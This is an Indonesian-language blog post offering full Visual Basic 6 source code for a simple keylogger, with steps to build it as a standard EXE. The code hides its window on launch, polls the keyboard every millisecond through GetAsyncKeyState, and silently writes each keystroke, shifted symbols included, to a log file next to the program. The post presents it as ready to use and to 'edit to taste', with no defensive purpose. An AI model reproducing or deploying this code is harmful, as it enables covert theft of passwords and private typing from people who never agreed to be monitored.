Source Code Keylogger Sederhana dengan Visual Basic 6 [ NOT SUPPORT VB PORTABLE ]
Jumpa lagi lama udah gak Post karena ADMIN lagi sibuk hihi tapi tenang saya gak akan lupa blog ini ehh gw malah curhat skarang saya bahas di postingan ini adalah Keylogger kalo kalian gak ngerti sayang internet di sia sia in kalo gak tahu ya sudah gak banyak omong lagi mari kita mulai atau di bahas , di tutorial cara membuat keylogger dengan visual basic6.0(vb6) Ok.Langsung aja ke topik, persiapkan bahan-bahan dulu. Nih
1. Visual Basic6.0(vb6) Di google jangan portable
2. Download source code di Sini
Langkah - Langkah :
- Buat Sebuah Form Standart EXE
- Tambahkan Sebuah Timmer Dengan Interval = 1
- Dan Copy Sourcecode Keylogger di bawah ini ke form yg anda buat !
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type TList
kode As Integer
bawah As String
atas As String
End Type
Private List(1 To 255) As TList
Private IndexList As Integer
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub
Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub
Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub
Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub
Setelah itu anda edit sesuai selera anda
Jika selesai jangan lupa baca Keterangan di Bawah
Keterangan :
Maksud dari App.Path adalah hasil log akan disimpan dalam file "mylog.txt" yang berada satu directory dengan program, jadi dimana file .exe disimpan disitu file log tersimpan.
mylog.txt adalah nama file log, semua ketikan keybord akan masuk ke file mylog.txt
